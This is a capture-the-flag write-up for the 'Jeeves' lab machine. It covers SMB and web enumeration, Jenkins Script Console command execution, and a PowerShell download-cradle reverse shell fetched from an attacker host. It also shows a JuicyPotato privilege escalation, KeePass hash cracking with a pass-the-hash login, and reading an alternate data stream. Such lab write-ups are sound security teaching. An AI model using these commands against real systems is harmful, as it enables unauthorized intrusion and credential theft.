PRIMARY CATEGORY → MEDIUM

Summary

  • Listing SMB Shares with Netexec
  • Directory Fuzzing using Ffuf
  • RCE in Jenkins Control Panel through its Script Console
  • LPE: Abusing the SeImpersonate Privilege using JuicyPotato
  • Obtaining a Crackable Hash from a Keepass database file with keepass2john
  • Cracking a Hash using Hashcat
  • Playing with Alternate Data Stream (ADS) to get the root.txt flag


Setup

Directory creation with the Machine’s Name

mkdir Jeeves && cd !$

Creation of a Pentesting Folder Structure to store all the information related to the target

mkdir {Scans,Data,Tools}

Recon

OS Identification

First, proceed to identify the Target Operative System. This can be done by a simple ping taking into account the TTL Unit

The standard values are →

  • About 64 → Linux
  • About 128 → Windows
ping -c1 10.129.228.112

As mentioned, according to the TTL, It seems that It is a Windows Target

Port Scanning
General Scan

Let’s run a Nmap Scan to check what TCP Ports are opened in the machine

The Scan result is exported in a grepable format for subsequent Port Parsing

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn --disable-arp-ping -oG Jeeves.allPorts 10.129.228.112

Open Ports →

80, 135, 445 and 50000
Comprehensive Scan

We can apply a little filter to the Jeeves.allPorts file to extract the ports and conduct a more comprehensive scan on them by extracting the services and their version running on each port and also executing some default scripts to gather more information

Note that this scan is also exported to have evidence at hand

nmap -p$( grep -ioP --color -- '\s\d{1,5}(?=/open)' Jeeves.allPorts | xargs | sed 's@\s@,@g' ) -sCV -v -n -Pn --disable-arp-ping -oN Jeeves.targeted 10.129.228.112
139, 445 - SMB

This time there are not many open ports for a Windows machine. As always, we will start listing the available shares in the target

But first of all, let’s gather some interesting information about the target such as →

  • Hostname

  • Domain name

  • SMB Signing Status

  • SMBv1 Support

nxc smb 10.129.228.112

Regarding this target, the only interesting data is the hostname and the SMBv1 support. The rest does not matter i.e. It is not a domain-joined machine and we cannot perform any type of NTLM Relay as it is the only active host on the network besides us and Reflective Relay was patched quite a while ago

So, let’s add the hostname along with its IP Address to the /etc/hosts

printf "%s\t%s" "10.129.228.112" "JEEVES" >> /etc/hosts

We do not have any valid credentials, so we will carry out several authentications such as Guest, Null and Random authentication to see if we can get an entry point

Null Authentication
nxc smb JEEVES --username '' --password '' --shares
Guest Authentication
nxc smb JEEVES --username 'guest' --password '' --shares
Random Authentication
nxc smb JEEVES --username 'anyRandomUser' --password '' --shares

We get nothing with all the above authentication methods. Let’s move on to the HTTP-related ports

80 - HTTP

First, we gather the web technologies running behind the web application

whatweb 'http://10.129.228.112'

There is nothing interesting apart from the fact that it is an IIS Web Server, which is to be expected as it is a Windows machine

When we visit the web application from the browser, the following content is displayed

Zoom in

There is a search bar

If we inspect the source code of this HTLM file, we see that the form related to the search bar always sends the input data to another HTML file called error.html

Zoom in

But this HTML file simply loads a picture of a MSSQL error

Zoom in

It seems that everything about this web application is a rabbit hole

Let’s move to the remaining HTTP port

50000 - HTTP

Again, let’s start by gathering the web technologies of this application. This time, let’s take a look at Wappalyzer instead of running whatweb

Zoom in

It seems that the server-side programming language is Java, which is usual when Jetty is running as a web server behind the web application, as is the case here

Zoom in

The main page gives us a 404 error, let’s fuzz some directories and see if we get any results

ffuf -v -t 200 -w /usr/share/seclist/Discovery/Web-Content/directory-list-2.3-medium.txt -u 'http://10.129.228.112:50000/FUZZ'

And we got a hit!

If we visit the above URL, we land on a Jenkins control panel with a type of unauthenticated access. It seems that it is not necessary to log in to interact with all the features that this control panel usually offers

Zoom in

So, this is a quick win for us

We can leverage the Script Console feature of Jenkins to execute system commands as the service account running the web application

That said, got to Manage Jenkins → Script Console

Zoom in

We can verify that we can run system commands

Zoom in


Shell as Web User

Therefore, let’s proceed as follows to get a reverse shell

Getting the Reverse Shell

Nishang’s Powershell TCP One line

curl --silent --location --request GET "https://github.com/samratashok/nishang/blob/master/Shells/Invoke-PowerShellTcpOneLine.ps1" --output rev.ps1
nvim !$
Setting up an HTTP Server

We set up an HTTP server with python to share the above resource

python3 -m http.server 8080
Running the Payload

All that remains is to run the following command on the Jenkins’ Script Console

powershell.exe -Command IEX (New-Object Net.WebClient).downloadString('http://10.10.15.229:8080/rev.ps1')

Zoom in

And we get a shell as kohsuke. As usual, the user.txt flag is located in the Desktop folder

Get-Content 'C:\Users\kohsuke\Desktop\user.txt'

Privesc - Unintended way

Initial Non-Privileged User → Kohsuke

As any standard service account, it has the SeImpersonatePrivilege privilege enabled

whoami /priv

This means that an operator could perform a pretty easy LPE by uploading and running certain potato binaries, such as JuicyPotato, in order to run any process as LOCAL SYSTEM

So first, let’s download the JuicyPotato binary

JuicyPotato

curl --silent --location --request "https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe" --output juicypotato.exe

Next, we set up another HTTP server to share the downloaded resource

python3 -m http.server 8080

And we download the latter from the target shell

curl 'http://10.10.15.229:8080/juicypotato.exe' -o juicypotato.exe

After that, set up a TCP listener on the port specified in the rev.ps1 script we created earlier

rlwrap -CaR nc -nlvp 4444

Keep in mind that we must leave the HTTP server we launched running in order to request the reverse shell script (rev.ps1) from the target and interpret it with IEX

The last step would be running the binary from the target as follows →

Note that it is the same Reverse Shell method we used in Jenkins’ Script Console

.\juicypotato.exe -t * -p cmd.exe -a "/c powershell.exe -Command IEX (New-Object Net.WebClient).downloadString('http://10.10.15.229:8080/rev.ps1')" -l 1337

And we get another shell! This time as the LOCAL SYSTEM account 💀

whoami

Privesc - Intended way

Initial Non-Privileged User → Kohsuke

The current user does not belong to any interesting local group

whoami /groups

Inspecting the content of its home directory, located at C:\Users\kohsuke, we find out the following keepass database file in the Documents folder

dir -Recurse -Force -Path 'C:\Users\kohsuke\Documents'

We can transfer this file to our attack machine and run keepass2john to extract a crackable hash from the .KDBX file

The transfer can be carried out via SMB

  • From the Attacker⚔️
smbserver.py -smb2support -user 4l3xbb -password 4l3xbb smbFolder "$( pwd )"
  • From the Target🎯
net use X: \\10.10.15.229\smbFolder /user:4l3xbb 4l3xbb
Copy-Item -Path 'C:\Users\kohsuke\Documents\CEH.kdbx' -Destination X:

Let’s extract the hash and try to crack it

keepass2john CEH.kdbx > keepass.hash
john --wordlist=/usr/share/wordlists/rockyou.txt keepass.hash

And we have obtained the password for the Keepass database file! 💪🏻

Let’s use KeepassXC to open the latter

keepassxc CEH.kdbx &> /dev/null & disown

We have a bunch of entries

Zoom in

But after trying them all for the user Administrator, as it is the only existing user account along with kohsuke, the valid one is the password of the Backup Stuff entry, which is a NTLM hash

We can validate it as follows

nxc smb JEEVES --username 'Administrator' --hash 'e0fb1fb85756c24235ff238cbe81fe00'

And it is the NT Hash for the Administrator user. Therefore, let’s connect remotely to the target via SMB

psexec.py -hashes ':e0fb1fb85756c24235ff238cbe81fe00' 'JEEVES/Administrator@JEEVES'

The only thing left to do is to grab the content of the root.txt flag. So, let’s list the content of the C:\Users\Administrator\Desktop directory

dir 'C:\Users\Administrator\Desktop'

And we have a file called hm.txt instead of the usual root.txt with the following content

The flag is elsewhere.  Look deeper.

In that moment, the Alternate Data Stream came to mind

So, we can list other data streams corresponding to a file as follows

dir /r 'C:\Users\Administrator\Desktop'

And here it is! There is an ADS called root.txt within the hm.txt file

more < "C:\Users\Administrator\Desktop\hm.txt:root.txt"

Its content must be the flag we were looking for 😊